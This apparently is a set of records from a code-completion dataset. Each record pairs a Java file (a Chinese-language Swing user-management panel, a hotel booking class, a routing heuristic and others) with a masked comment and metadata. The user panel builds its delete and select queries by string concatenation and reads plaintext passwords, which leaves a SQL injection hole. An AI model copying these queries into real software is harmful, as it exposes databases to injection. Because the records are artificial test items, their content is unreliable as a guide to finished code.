actionPerformed(ActionEvent e) { UserNewDialog dialog = new UserNewDialog("添加新用户", "");// 创建添加名片的对话框对象 dialog.setVisible(true);// 设置添加名片的对话框为可见 initCardListTable();// 刷新名片列表 } }); cardButtonPanel.add(addUserButton); final JButton updCardButton = new JButton("修改信息"); updCardButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { int[] selectedRows = cardListTable.getSelectedRows();// 获得名片列表中的选中行 if (selectedRows.length == 1) {// 仅选中了一个名片 String name = cardListTable.getValueAt( selectedRows[0], 1).toString();// 获得选中名片的编号 //System.out.println("当前修改的用户名为:"+ name); UserNewDialog dialog = new UserNewDialog("添加名片", name);// 创建修改名片的对话框对象 dialog.setVisible(true);// 设置修改名片的对话框为可见 initCardListTable(); } else { if (selectedRows.length == 0) {// 未选中要修改的名片 JOptionPane.showMessageDialog(null, "请选择要修改的人员!", "友情提示", JOptionPane.INFORMATION_MESSAGE);// 弹出提示信息 } else {// 选中了多个名片 JOptionPane.showMessageDialog(null, "一次只能修改一个人员!", "友情提示", JOptionPane.INFORMATION_MESSAGE);// 弹出提示信息 } } } }); cardButtonPanel.add(updCardButton); final JButton delCardButton = new JButton("删除用户"); delCardButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { int[] selectedRows = cardListTable.getSelectedRows();// 获得名片列表中的选中行 if (selectedRows.length == 0) {// 未选中要删除的名片 JOptionPane.showMessageDialog(null, "请选择要删除的人员!", "友情提示", JOptionPane.INFORMATION_MESSAGE);// 弹出提示信息 } else { String[] infos = new String[selectedRows.length + 1];// 组织提示信息 infos[0] = "确定要删除以下人员:";// 添加提示信息 for (int i = 0; i < selectedRows.length; i++) {// 遍历选中的名片 infos[i + 1] = " " + cardListTable.getValueAt(selectedRows[i], 1);// 获得名片编号 } int i = JOptionPane.showConfirmDialog(null, infos, "友情提示", JOptionPane.YES_NO_OPTION);// 弹出提示信息 if (i == 0) {// 确定删除 for (int j = 0; j < selectedRows.length; j++) {// 遍历选中的名片 String name = cardListTable.getValueAt( selectedRows[j], 1).toString();// 获得名片编号 String sql = "delete from User where UserName = '"+name+"';"; try{ con.dataUpdate(sql); }catch (SQLException ex){ ex.printStackTrace(); } } initCardListTable();// 刷新名片列表 } } } }); cardButtonPanel.add(delCardButton); } private void initTree(DefaultMutableTreeNode treeRoot) {// 初始化树的方法 DefaultMutableTreeNode guanliNode = new DefaultMutableTreeNode("超级管理员"); treeRoot.add(guanliNode); DefaultMutableTreeNode tikuNode = new DefaultMutableTreeNode("题库管理员"); treeRoot.add(tikuNode); DefaultMutableTreeNode zujuanNode = new DefaultMutableTreeNode("组卷管理员"); treeRoot.add(zujuanNode); } //按身份浏览时,获取表格 private void initCardListTable() { cardListTableValueV.removeAllElements();// 清空名片列表 DefaultMutableTreeNode cardTreeNode = (DefaultMutableTreeNode) cardTree.getLastSelectedPathComponent();// 获得名片夹树的选中节点对象 if (cardTreeNode != null) {// 判断是否存在选中的节点 String cardName = convertToEnglish(cardTreeNode.getUserObject().toString());// 获得选中名片夹的名称 String sql = "select userName,userPwd,role from User where role='"+cardName+"';"; cardListTableValueV.addAll(con.selectSomeNote(sql));// 检索名片夹包含的名片 } cardListTableModel.setDataVector(cardListTableValueV, cardListTableColumnV);// 刷新名片列表表格模型 } //按知识点浏览时,获取知识点 private String []typeTmp={"selection","blank","judge","explanation","comprehensive","discussion"}; private void initInfoListTable() { infoListTableValueV.removeAllElements(); DefaultMutableTreeNode infoTreeNode = (DefaultMutableTreeNode) infoTree.getLastSelectedPathComponent(); if (infoTreeNode != null) {//判断是否存在选中的节点 String kemuName = infoTreeNode.getParent().toString().replace("[科目]:","");//获得选中的科目 String pointName = infoTreeNode.getUserObject().toString();//获得选中的知识点 if (kemuName!="root" && pointName!=""){ for (int i=0;i<typeTmp.length;i++){ String sql = "select Qno,Question,Difficulty,Times from "+typeTmp[i]+" where Kemu ='"+kemuName+"'AND Point ='"+pointName+"';"; System.out.println(sql); infoListTableValueV.addAll(con.selectSomeNote(sql));//检索在所在科目和题型下的题目 } } } infoListTableModel.setDataVector(infoListTableValueV, infoListTableColumnV); } String convertToEnglish(String typeName){ String tmp=""; String []typeChinese = {"超级管理员","题库管理员","组卷管理员"}; String []typeEnglish = {"guanliyuan","tikuyuan","zujuanyuan"}; switch (typeName){ case "超级管理员": tmp = "guanliyuan"; break; case "题库管理员": tmp = "tikuyuan"; break; case "组卷管理员": tmp = "zujuanyuan"; break; default: break; } return tmp; } }
Elylicery/QuestionsManagement-And-OrganizingPapers-System
QuesManager/src/UserPanel.java
2,607
// 设置题型树的选择模式为单选
line_comment
zh-cn
import com.sun.javaws.util.JfxHelper; import netscape.security.UserDialogHelper; import java.awt.*; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.net.URL; import java.sql.ResultSet; import java.sql.SQLException; import java.util.Vector; import java.util.logging.Level; import java.util.logging.Logger; import javax.swing.*; import javax.swing.event.TreeSelectionEvent; import javax.swing.event.TreeSelectionListener; import javax.swing.table.DefaultTableModel; import javax.swing.tree.DefaultMutableTreeNode; import javax.swing.tree.DefaultTreeModel; import javax.swing.tree.TreePath; import javax.swing.tree.TreeSelectionModel; public class UserPanel extends JPanel { private Dao con = new Dao(); //按题型浏览 private MTable cardListTable; private Vector<String> cardListTableColumnV; private Vector<Vector> cardListTableValueV; private DefaultTableModel cardListTableModel; private JTree cardTree; private DefaultMutableTreeNode cardTreeRoot; private DefaultTreeModel cardTreeModel; //按知识点浏览 private MTable infoListTable; private Vector<String> infoListTableColumnV; private Vector<Vector> infoListTableValueV; private DefaultTableModel infoListTableModel; private JTree infoTree; private DefaultMutableTreeNode infoTreeRoot; private DefaultTreeModel infoTreeModel; public static void main(String[] args) { JFrame frame = new JFrame(); UserPanel user = new UserPanel(); frame.add(user); frame.setSize(900,600); frame.setVisible(true); } //private final Dao dao = Dao.getInstance(); /** * Create the panel */ public UserPanel() { super(); setLayout(new BorderLayout()); final JTabbedPane tabbedPane = new JTabbedPane(); add(tabbedPane, BorderLayout.CENTER); final JSplitPane cardSplitPane = new JSplitPane(); cardSplitPane.setOneTouchExpandable(true); cardSplitPane.setDividerSize(12); cardSplitPane.setDividerLocation(244); tabbedPane.addTab("所有用户", null, cardSplitPane, null); //1.按题型浏览 //左侧题源 final JPanel cardTreePanel = new JPanel(); cardSplitPane.setLeftComponent(cardTreePanel); cardTreePanel.setLayout(new BorderLayout()); final JScrollPane cardTreeScrollPane = new JScrollPane();// 创建显示题 // 题型树的滚动面板 cardTreePanel.add(cardTreeScrollPane);// 添加到上级面板中 cardTreeRoot = new DefaultMutableTreeNode("root");// 创建题型树的根节点 initTree(cardTreeRoot);// 初始化名片夹树 cardTreeModel = new DefaultTreeModel(cardTreeRoot);// 创建题型树模型 cardTree = new JTree(cardTreeModel);// 创建题型树树 cardTree.setRootVisible(false);// 设置题型树的根节点不可见 System.out.println(cardTree.getSelectionModel().getSelectionMode()); cardTree.getSelectionModel().setSelectionMode( TreeSelectionModel.SINGLE_TREE_SELECTION);// 设置 <SUF> if (cardTreeRoot.getChildCount() > 0) cardTree.setSelectionRow(0);// 如果题型树存在子节点,则设置选中第一个子节点 cardTree.addTreeSelectionListener(new TreeSelectionListener() {// 为题型树添加接点选中事件监听器 public void valueChanged(TreeSelectionEvent e) { initCardListTable();// 初始化题型列表 } }); cardTreeScrollPane.setViewportView(cardTree);// 将题型树添加到滚动面板中 //右侧题目信息 final JPanel cardListPanel = new JPanel(); cardSplitPane.setRightComponent(cardListPanel); cardListPanel.setLayout(new BorderLayout()); final JScrollPane cardListScrollPane = new JScrollPane(); cardListPanel.add(cardListScrollPane); cardListTableColumnV = new Vector<String>(); String cardListTableColumns[] = { "序号","用户名", "密码", "身份"}; for (int i = 0; i < cardListTableColumns.length; i++) { cardListTableColumnV.add(cardListTableColumns[i]); } cardListTableValueV = new Vector<Vector>(); cardListTableModel = new DefaultTableModel(cardListTableValueV, cardListTableColumnV); cardListTable = new MTable(cardListTableModel); initCardListTable(); cardListScrollPane.setViewportView(cardListTable); //右侧按键面板 final JPanel cardButtonPanel = new JPanel(); cardButtonPanel.setLayout(new BoxLayout(cardButtonPanel, BoxLayout.Y_AXIS)); cardListPanel.add(cardButtonPanel, BorderLayout.EAST); final JButton addUserButton = new JButton("添加用户"); addUserButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { UserNewDialog dialog = new UserNewDialog("添加新用户", "");// 创建添加名片的对话框对象 dialog.setVisible(true);// 设置添加名片的对话框为可见 initCardListTable();// 刷新名片列表 } }); cardButtonPanel.add(addUserButton); final JButton updCardButton = new JButton("修改信息"); updCardButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { int[] selectedRows = cardListTable.getSelectedRows();// 获得名片列表中的选中行 if (selectedRows.length == 1) {// 仅选中了一个名片 String name = cardListTable.getValueAt( selectedRows[0], 1).toString();// 获得选中名片的编号 //System.out.println("当前修改的用户名为:"+ name); UserNewDialog dialog = new UserNewDialog("添加名片", name);// 创建修改名片的对话框对象 dialog.setVisible(true);// 设置修改名片的对话框为可见 initCardListTable(); } else { if (selectedRows.length == 0) {// 未选中要修改的名片 JOptionPane.showMessageDialog(null, "请选择要修改的人员!", "友情提示", JOptionPane.INFORMATION_MESSAGE);// 弹出提示信息 } else {// 选中了多个名片 JOptionPane.showMessageDialog(null, "一次只能修改一个人员!", "友情提示", JOptionPane.INFORMATION_MESSAGE);// 弹出提示信息 } } } }); cardButtonPanel.add(updCardButton); final JButton delCardButton = new JButton("删除用户"); delCardButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { int[] selectedRows = cardListTable.getSelectedRows();// 获得名片列表中的选中行 if (selectedRows.length == 0) {// 未选中要删除的名片 JOptionPane.showMessageDialog(null, "请选择要删除的人员!", "友情提示", JOptionPane.INFORMATION_MESSAGE);// 弹出提示信息 } else { String[] infos = new String[selectedRows.length + 1];// 组织提示信息 infos[0] = "确定要删除以下人员:";// 添加提示信息 for (int i = 0; i < selectedRows.length; i++) {// 遍历选中的名片 infos[i + 1] = " " + cardListTable.getValueAt(selectedRows[i], 1);// 获得名片编号 } int i = JOptionPane.showConfirmDialog(null, infos, "友情提示", JOptionPane.YES_NO_OPTION);// 弹出提示信息 if (i == 0) {// 确定删除 for (int j = 0; j < selectedRows.length; j++) {// 遍历选中的名片 String name = cardListTable.getValueAt( selectedRows[j], 1).toString();// 获得名片编号 String sql = "delete from User where UserName = '"+name+"';"; try{ con.dataUpdate(sql); }catch (SQLException ex){ ex.printStackTrace(); } } initCardListTable();// 刷新名片列表 } } } }); cardButtonPanel.add(delCardButton); } private void initTree(DefaultMutableTreeNode treeRoot) {// 初始化树的方法 DefaultMutableTreeNode guanliNode = new DefaultMutableTreeNode("超级管理员"); treeRoot.add(guanliNode); DefaultMutableTreeNode tikuNode = new DefaultMutableTreeNode("题库管理员"); treeRoot.add(tikuNode); DefaultMutableTreeNode zujuanNode = new DefaultMutableTreeNode("组卷管理员"); treeRoot.add(zujuanNode); } //按身份浏览时,获取表格 private void initCardListTable() { cardListTableValueV.removeAllElements();// 清空名片列表 DefaultMutableTreeNode cardTreeNode = (DefaultMutableTreeNode) cardTree.getLastSelectedPathComponent();// 获得名片夹树的选中节点对象 if (cardTreeNode != null) {// 判断是否存在选中的节点 String cardName = convertToEnglish(cardTreeNode.getUserObject().toString());// 获得选中名片夹的名称 String sql = "select userName,userPwd,role from User where role='"+cardName+"';"; cardListTableValueV.addAll(con.selectSomeNote(sql));// 检索名片夹包含的名片 } cardListTableModel.setDataVector(cardListTableValueV, cardListTableColumnV);// 刷新名片列表表格模型 } //按知识点浏览时,获取知识点 private String []typeTmp={"selection","blank","judge","explanation","comprehensive","discussion"}; private void initInfoListTable() { infoListTableValueV.removeAllElements(); DefaultMutableTreeNode infoTreeNode = (DefaultMutableTreeNode) infoTree.getLastSelectedPathComponent(); if (infoTreeNode != null) {//判断是否存在选中的节点 String kemuName = infoTreeNode.getParent().toString().replace("[科目]:","");//获得选中的科目 String pointName = infoTreeNode.getUserObject().toString();//获得选中的知识点 if (kemuName!="root" && pointName!=""){ for (int i=0;i<typeTmp.length;i++){ String sql = "select Qno,Question,Difficulty,Times from "+typeTmp[i]+" where Kemu ='"+kemuName+"'AND Point ='"+pointName+"';"; System.out.println(sql); infoListTableValueV.addAll(con.selectSomeNote(sql));//检索在所在科目和题型下的题目 } } } infoListTableModel.setDataVector(infoListTableValueV, infoListTableColumnV); } String convertToEnglish(String typeName){ String tmp=""; String []typeChinese = {"超级管理员","题库管理员","组卷管理员"}; String []typeEnglish = {"guanliyuan","tikuyuan","zujuanyuan"}; switch (typeName){ case "超级管理员": tmp = "guanliyuan"; break; case "题库管理员": tmp = "tikuyuan"; break; case "组卷管理员": tmp = "zujuanyuan"; break; default: break; } return tmp; } }
1
42778_13
package com.foodClass.model; import java.util.List; public class TestFoodClass { public static void main(String[] args) { I_FoodClassDAO fdclasstest = new FoodClassJDBCDAO(); FoodClassVO fdvo = new FoodClassVO(); // 新增===================================== // fdvo.setFd_class_name("好吃"); // fdvo.setFd_class_state(true); // // fdclasstest.insertFoodClass(fdvo); // // System.out.println("新增成功"); // System.out.println(fdvo); // 修改===================================== // fdvo.setFd_class_no(7); // fdvo.setFd_class_name("很好吃"); // fdvo.setFd_class_state(true); // // fdclasstest.updateFoodClass(fdvo); // System.out.println("修改成功"); // 查詢===================================== fdvo = fdclasstest.getClassPK(1); System.out.println(fdvo.getFd_class_no()); System.out.println(fdvo.getFd_class_name()); System.out.println(fdvo.getFd_class_state()); // 查詢===================================== // List<FoodClassVO> list = fdclasstest.getAllFoodClass(); // for (FoodClassVO fdclass : list) { // System.out.print(fdclass.getFd_class_no() + ","); // System.out.print(fdclass.getFd_class_name() + ","); // System.out.println(fdclass.getFd_class_state()); // } // System.out.println("查詢成功"); } }
EmeryWeng/CFA102G5
src/com/foodClass/model/TestFoodClass.java
463
// 查詢=====================================
line_comment
zh-cn
package com.foodClass.model; import java.util.List; public class TestFoodClass { public static void main(String[] args) { I_FoodClassDAO fdclasstest = new FoodClassJDBCDAO(); FoodClassVO fdvo = new FoodClassVO(); // 新增===================================== // fdvo.setFd_class_name("好吃"); // fdvo.setFd_class_state(true); // // fdclasstest.insertFoodClass(fdvo); // // System.out.println("新增成功"); // System.out.println(fdvo); // 修改===================================== // fdvo.setFd_class_no(7); // fdvo.setFd_class_name("很好吃"); // fdvo.setFd_class_state(true); // // fdclasstest.updateFoodClass(fdvo); // System.out.println("修改成功"); // 查詢===================================== fdvo = fdclasstest.getClassPK(1); System.out.println(fdvo.getFd_class_no()); System.out.println(fdvo.getFd_class_name()); System.out.println(fdvo.getFd_class_state()); // 查詢 <SUF> // List<FoodClassVO> list = fdclasstest.getAllFoodClass(); // for (FoodClassVO fdclass : list) { // System.out.print(fdclass.getFd_class_no() + ","); // System.out.print(fdclass.getFd_class_name() + ","); // System.out.println(fdclass.getFd_class_state()); // } // System.out.println("查詢成功"); } }
0
34919_1
package com.paipai.Array2; public class Hotel { int rooms=2; int level=2; Room[][] room = new Room[level][rooms]; Hotel() { //初始化酒店房间 int i, j; for (i = 0; i < level; i++) for (j = 0; j < rooms; j++) { room[i][j]= new Room(); room[i][j].isEmpty = true; room[i][j].roomType = j % 2+1;//房间号单号,对应单人房 room[i][j].guest_name=null; room[i][j].roomNumber = Integer.toString(((i+1) * 100 + (j+1))); System.out.println(room[i][j].roomNumber+"-"+room[i][j].roomType+"人间"); } System.out.println("=====酒店初始化完成====="); } public boolean checkIn(String guest_name,int guest_number){ int i,j; for (i = 0; i < level; i++) for (j = 0; j < rooms; j++) { if(room[i][j].roomType==guest_number&&room[i][j].isEmpty==true){ room[i][j].isEmpty=false; room[i][j].guest_name=guest_name; System.out.println("房间分配完成:房间号"+room[i][j].roomNumber+"客人姓名"+room[i][j].guest_name); return true; } } for (i=0;i<level;i++) for(j=0;j<rooms;j++){ if(room[i][j].roomType>guest_number&&room[i][j].isEmpty==true){ room[i][j].isEmpty=false; room[i][j].guest_name=guest_name; System.out.println("房间分配完成:房间号"+room[i][j].roomNumber+"客人姓名"+room[i][j].guest_name); return true; } } System.out.println("亲爱的"+guest_name+":很抱歉目前没有合适的房间!"); return false; } public boolean checkOut(String checkOutNumber){ int checkOutnum=Integer.valueOf(checkOutNumber); int i=checkOutnum/100; int j=checkOutnum%100; if(room[i-1][j-1].isEmpty==true){ System.out.println("房间号提供错误!"); return false; } else { System.out.println("客人" + room[i - 1][j - 1].guest_name + "退房成功,希望再次光临"); room[i - 1][j - 1].isEmpty = true; room[i - 1][j - 1].guest_name = null; return true; } } public void printRoomStatus(){ int i,j; for(i=0;i<level;i++) for(j=0;j<rooms;j++){ if(room[i][j].isEmpty==true){ System.out.println("房间"+room[i][j].roomNumber+":状态空闲"); } else{ System.out.println("房间"+room[i][j].roomNumber+":状态已入住"+" 客人姓名:"+room[i][j].guest_name); } } } }
EmmaLiuPie/Sisters-coding
Paipai/PaipaiTest1/src/com/paipai/Array2/Hotel.java
844
//房间号单号,对应单人房
line_comment
zh-cn
package com.paipai.Array2; public class Hotel { int rooms=2; int level=2; Room[][] room = new Room[level][rooms]; Hotel() { //初始化酒店房间 int i, j; for (i = 0; i < level; i++) for (j = 0; j < rooms; j++) { room[i][j]= new Room(); room[i][j].isEmpty = true; room[i][j].roomType = j % 2+1;//房间 <SUF> room[i][j].guest_name=null; room[i][j].roomNumber = Integer.toString(((i+1) * 100 + (j+1))); System.out.println(room[i][j].roomNumber+"-"+room[i][j].roomType+"人间"); } System.out.println("=====酒店初始化完成====="); } public boolean checkIn(String guest_name,int guest_number){ int i,j; for (i = 0; i < level; i++) for (j = 0; j < rooms; j++) { if(room[i][j].roomType==guest_number&&room[i][j].isEmpty==true){ room[i][j].isEmpty=false; room[i][j].guest_name=guest_name; System.out.println("房间分配完成:房间号"+room[i][j].roomNumber+"客人姓名"+room[i][j].guest_name); return true; } } for (i=0;i<level;i++) for(j=0;j<rooms;j++){ if(room[i][j].roomType>guest_number&&room[i][j].isEmpty==true){ room[i][j].isEmpty=false; room[i][j].guest_name=guest_name; System.out.println("房间分配完成:房间号"+room[i][j].roomNumber+"客人姓名"+room[i][j].guest_name); return true; } } System.out.println("亲爱的"+guest_name+":很抱歉目前没有合适的房间!"); return false; } public boolean checkOut(String checkOutNumber){ int checkOutnum=Integer.valueOf(checkOutNumber); int i=checkOutnum/100; int j=checkOutnum%100; if(room[i-1][j-1].isEmpty==true){ System.out.println("房间号提供错误!"); return false; } else { System.out.println("客人" + room[i - 1][j - 1].guest_name + "退房成功,希望再次光临"); room[i - 1][j - 1].isEmpty = true; room[i - 1][j - 1].guest_name = null; return true; } } public void printRoomStatus(){ int i,j; for(i=0;i<level;i++) for(j=0;j<rooms;j++){ if(room[i][j].isEmpty==true){ System.out.println("房间"+room[i][j].roomNumber+":状态空闲"); } else{ System.out.println("房间"+room[i][j].roomNumber+":状态已入住"+" 客人姓名:"+room[i][j].guest_name); } } } }
1
17847_1
package com.zhu56.util; import cn.hutool.core.util.ReflectUtil; import com.zhu56.inter.SerFunction; import lombok.SneakyThrows; import lombok.experimental.UtilityClass; import java.io.Serializable; import java.lang.invoke.SerializedLambda; import java.lang.reflect.Method; import java.util.Map; import java.util.concurrent.ConcurrentHashMap; import java.util.regex.Matcher; import java.util.regex.Pattern; /** * λ表达式工具类 * * @author 朱滔 * @date 2021/10/10 23:42 */ @UtilityClass public class LambdaUtil { /** * 类型λ缓存 */ private final Map<Class<?>, SerializedLambda> CLASS_LAMBDA_CACHE = new ConcurrentHashMap<>(); /** * 返回类型模式 */ private final Pattern RETURN_TYPE_PATTERN = Pattern.compile("\\(.*\\)L(.*);"); /** * 获得一个方法引用的lambda实例 * * @param fun 函数 * @return {@link SerializedLambda} */ public <T, R> SerializedLambda getLambda(SerFunction<T, R> fun) { return getSerializedLambda(fun); } /** * 获取方法的lambda实例 * * @param fun 有趣 * @return {@link SerializedLambda} */ @SneakyThrows public SerializedLambda getSerializedLambda(Serializable fun) { Class<?> funClazz = fun.getClass(); return CLASS_LAMBDA_CACHE.computeIfAbsent(funClazz, c -> { Method method = ReflectUtil.getMethodByName(funClazz, "writeReplace"); return ReflectUtil.invoke(fun, method); }); } /** * 得到返回值的类型 * * @param fun 有趣 * @return {@link Class}<{@link R}> */ @SuppressWarnings("unchecked") public <T, R> Class<R> getReturnClass(SerFunction<T, R> fun) { SerializedLambda serializedLambda = getSerializedLambda(fun); String expr = serializedLambda.getImplMethodSignature(); Matcher matcher = RETURN_TYPE_PATTERN.matcher(expr); if (!matcher.find() || matcher.groupCount() != 1) { return null; } String className = matcher.group(1).replace("/", "."); Class<R> clazz; try { clazz = (Class<R>) Class.forName(className); } catch (ClassNotFoundException e) { return null; } return clazz; } }
EmperorZhu56/ztream
src/main/java/com/zhu56/util/LambdaUtil.java
603
/** * 类型λ缓存 */
block_comment
zh-cn
package com.zhu56.util; import cn.hutool.core.util.ReflectUtil; import com.zhu56.inter.SerFunction; import lombok.SneakyThrows; import lombok.experimental.UtilityClass; import java.io.Serializable; import java.lang.invoke.SerializedLambda; import java.lang.reflect.Method; import java.util.Map; import java.util.concurrent.ConcurrentHashMap; import java.util.regex.Matcher; import java.util.regex.Pattern; /** * λ表达式工具类 * * @author 朱滔 * @date 2021/10/10 23:42 */ @UtilityClass public class LambdaUtil { /** * 类型λ <SUF>*/ private final Map<Class<?>, SerializedLambda> CLASS_LAMBDA_CACHE = new ConcurrentHashMap<>(); /** * 返回类型模式 */ private final Pattern RETURN_TYPE_PATTERN = Pattern.compile("\\(.*\\)L(.*);"); /** * 获得一个方法引用的lambda实例 * * @param fun 函数 * @return {@link SerializedLambda} */ public <T, R> SerializedLambda getLambda(SerFunction<T, R> fun) { return getSerializedLambda(fun); } /** * 获取方法的lambda实例 * * @param fun 有趣 * @return {@link SerializedLambda} */ @SneakyThrows public SerializedLambda getSerializedLambda(Serializable fun) { Class<?> funClazz = fun.getClass(); return CLASS_LAMBDA_CACHE.computeIfAbsent(funClazz, c -> { Method method = ReflectUtil.getMethodByName(funClazz, "writeReplace"); return ReflectUtil.invoke(fun, method); }); } /** * 得到返回值的类型 * * @param fun 有趣 * @return {@link Class}<{@link R}> */ @SuppressWarnings("unchecked") public <T, R> Class<R> getReturnClass(SerFunction<T, R> fun) { SerializedLambda serializedLambda = getSerializedLambda(fun); String expr = serializedLambda.getImplMethodSignature(); Matcher matcher = RETURN_TYPE_PATTERN.matcher(expr); if (!matcher.find() || matcher.groupCount() != 1) { return null; } String className = matcher.group(1).replace("/", "."); Class<R> clazz; try { clazz = (Class<R>) Class.forName(className); } catch (ClassNotFoundException e) { return null; } return clazz; } }
0
59972_17
import java.util.Random; public class Repair { //修复算子类 public static void Random_Repair(Route[] R) { //随机插入0 for (int i = 0;i < Parameter.Remove_Node.length;i++) { int RandomRouteIndex = Calculation.IntRandom(1,Parameter.VehicleNumber+1); for (int PositionIndex = 0;PositionIndex < R[RandomRouteIndex].N.size()-1;PositionIndex++) { if (R[RandomRouteIndex].N.get(PositionIndex).ReadyTime <= Parameter.Remove_Node[i].ReadyTime && Parameter.Remove_Node[i].ReadyTime <= R[RandomRouteIndex].N.get(PositionIndex+1).ReadyTime) { Calculation.AddNode(R, RandomRouteIndex, PositionIndex+1, Parameter.Remove_Node[i].ID); break; } } } } public static void Greedy_Repair(Route[] R) { //贪婪插入1 double Cost1; double Cost2; int RouteIndex = 0; int PositionIndex = 0; for (int m = 0;m < Parameter.Remove_Node.length;m++) { double Value = Parameter.MAX; //设定一个最大值 Cost1 = Parameter.Cost(R); //计算当前Cost for (int i = 1; i <= Parameter.VehicleNumber; i++) { //遍历每一条线路 for (int j = 1; j < R[i].N.size(); j++) { //遍历当前线路中的每一个位置 Calculation.AddNode(R, i, j, Parameter.Remove_Node[m].ID); //插入节点 Cost2 = Parameter.Cost(R); //计算当前的Cost if ((Cost2 - Cost1) < Value) { //若满足更优位置 Value = Cost2 - Cost1; RouteIndex = i; PositionIndex = j; //记录位置 } Calculation.RemoveNode(R, i, j, Parameter.Remove_Node[m].ID); //删除节点 } } Calculation.AddNode(R, RouteIndex, PositionIndex, Parameter.Remove_Node[m].ID);//将节点插入最优的线路位置 } } public static void Regret_Repair(Route[] R) { //后悔插入2 double Cost1; double Cost2; double Cost3; int RouteIndex = 0; int PositionIndex = 0; //将RegretNode列表清空 if (Parameter.RegretNode[0].N.size() != 0) { Parameter.RegretNode[0].N.clear(); } //将RemoveNode中的点输入到RegretNode中 for (int i = 0;i < Parameter.Remove_NodeNumber;i++) { Parameter.RegretNode[0].N.add(new Node(Parameter.Remove_Node[i])); } int Number = Parameter.Remove_NodeNumber; while (Number > 0) { Cost1 = Parameter.Cost(R); //计算当前的Cost for (int m = 0; m < Parameter.RegretNode[0].N.size(); m++) { double BestValue = Parameter.MAX; for (int i = 1; i <= Parameter.VehicleNumber; i++) { //遍历每一条线路 for (int j = 1; j < R[i].N.size(); j++) { //遍历当前线路中的每一个位置 Calculation.AddNode(R, i, j, Parameter.RegretNode[0].N.get(m).ID); //插入节点 Cost2 = Parameter.Cost(R); //计算当前的Cost if ((Cost2 - Cost1) < BestValue) { //若满足更优位置 BestValue = Cost2 - Cost1; RouteIndex = i; PositionIndex = j; //记录位置 } Calculation.RemoveNode(R, i, j, Parameter.RegretNode[0].N.get(m).ID); //删除节点 } } double NextValue; double RegretValue = Parameter.MAX; for (int i = 1; i <= Parameter.VehicleNumber; i++) { //次佳插入点 for (int j = 1; j < R[i].N.size(); j++) { Calculation.AddNode(R, i, j, Parameter.RegretNode[0].N.get(m).ID); Cost2 = Parameter.Cost(R); NextValue = Cost2 - Cost1; if ((NextValue - BestValue) < RegretValue && (NextValue - BestValue) != 0) { RegretValue = NextValue - BestValue; } Calculation.RemoveNode(R, i, j, Parameter.RegretNode[0].N.get(m).ID); //删除节点 } } Parameter.RegretNode[0].N.get(m).Regret_Cost = RegretValue; Parameter.RegretNode[0].N.get(m).R = RouteIndex; Parameter.RegretNode[0].N.get(m).Position = PositionIndex; //记录相关指标 } //找到当前后悔值最大的节点 int RemoveID = 0; double Delta = Parameter.MIN; for (int i = 0;i < Parameter.RegretNode[0].N.size();i++) { if (Parameter.RegretNode[0].N.get(i).Regret_Cost > Delta) { Delta = Parameter.RegretNode[0].N.get(i).Regret_Cost; RemoveID = i; //记录当前最大后悔值的节点并移除 } } //将找到的当前后悔值最大的节点加入 Calculation.AddNode(R, Parameter.RegretNode[0].N.get(RemoveID).R, Parameter.RegretNode[0].N.get(RemoveID).Position, Parameter.RegretNode[0].N.get(RemoveID).ID); //将移除的节点在RegretNode中移除 Parameter.RegretNode[0].N.remove(RemoveID); Number--; } } }
Empty-City-Wcl/Java-VRPTW-ALNS-
ALNS_VRPTW/src/Repair.java
1,443
//遍历每一条线路
line_comment
zh-cn
import java.util.Random; public class Repair { //修复算子类 public static void Random_Repair(Route[] R) { //随机插入0 for (int i = 0;i < Parameter.Remove_Node.length;i++) { int RandomRouteIndex = Calculation.IntRandom(1,Parameter.VehicleNumber+1); for (int PositionIndex = 0;PositionIndex < R[RandomRouteIndex].N.size()-1;PositionIndex++) { if (R[RandomRouteIndex].N.get(PositionIndex).ReadyTime <= Parameter.Remove_Node[i].ReadyTime && Parameter.Remove_Node[i].ReadyTime <= R[RandomRouteIndex].N.get(PositionIndex+1).ReadyTime) { Calculation.AddNode(R, RandomRouteIndex, PositionIndex+1, Parameter.Remove_Node[i].ID); break; } } } } public static void Greedy_Repair(Route[] R) { //贪婪插入1 double Cost1; double Cost2; int RouteIndex = 0; int PositionIndex = 0; for (int m = 0;m < Parameter.Remove_Node.length;m++) { double Value = Parameter.MAX; //设定一个最大值 Cost1 = Parameter.Cost(R); //计算当前Cost for (int i = 1; i <= Parameter.VehicleNumber; i++) { //遍历每一条线路 for (int j = 1; j < R[i].N.size(); j++) { //遍历当前线路中的每一个位置 Calculation.AddNode(R, i, j, Parameter.Remove_Node[m].ID); //插入节点 Cost2 = Parameter.Cost(R); //计算当前的Cost if ((Cost2 - Cost1) < Value) { //若满足更优位置 Value = Cost2 - Cost1; RouteIndex = i; PositionIndex = j; //记录位置 } Calculation.RemoveNode(R, i, j, Parameter.Remove_Node[m].ID); //删除节点 } } Calculation.AddNode(R, RouteIndex, PositionIndex, Parameter.Remove_Node[m].ID);//将节点插入最优的线路位置 } } public static void Regret_Repair(Route[] R) { //后悔插入2 double Cost1; double Cost2; double Cost3; int RouteIndex = 0; int PositionIndex = 0; //将RegretNode列表清空 if (Parameter.RegretNode[0].N.size() != 0) { Parameter.RegretNode[0].N.clear(); } //将RemoveNode中的点输入到RegretNode中 for (int i = 0;i < Parameter.Remove_NodeNumber;i++) { Parameter.RegretNode[0].N.add(new Node(Parameter.Remove_Node[i])); } int Number = Parameter.Remove_NodeNumber; while (Number > 0) { Cost1 = Parameter.Cost(R); //计算当前的Cost for (int m = 0; m < Parameter.RegretNode[0].N.size(); m++) { double BestValue = Parameter.MAX; for (int i = 1; i <= Parameter.VehicleNumber; i++) { //遍历 <SUF> for (int j = 1; j < R[i].N.size(); j++) { //遍历当前线路中的每一个位置 Calculation.AddNode(R, i, j, Parameter.RegretNode[0].N.get(m).ID); //插入节点 Cost2 = Parameter.Cost(R); //计算当前的Cost if ((Cost2 - Cost1) < BestValue) { //若满足更优位置 BestValue = Cost2 - Cost1; RouteIndex = i; PositionIndex = j; //记录位置 } Calculation.RemoveNode(R, i, j, Parameter.RegretNode[0].N.get(m).ID); //删除节点 } } double NextValue; double RegretValue = Parameter.MAX; for (int i = 1; i <= Parameter.VehicleNumber; i++) { //次佳插入点 for (int j = 1; j < R[i].N.size(); j++) { 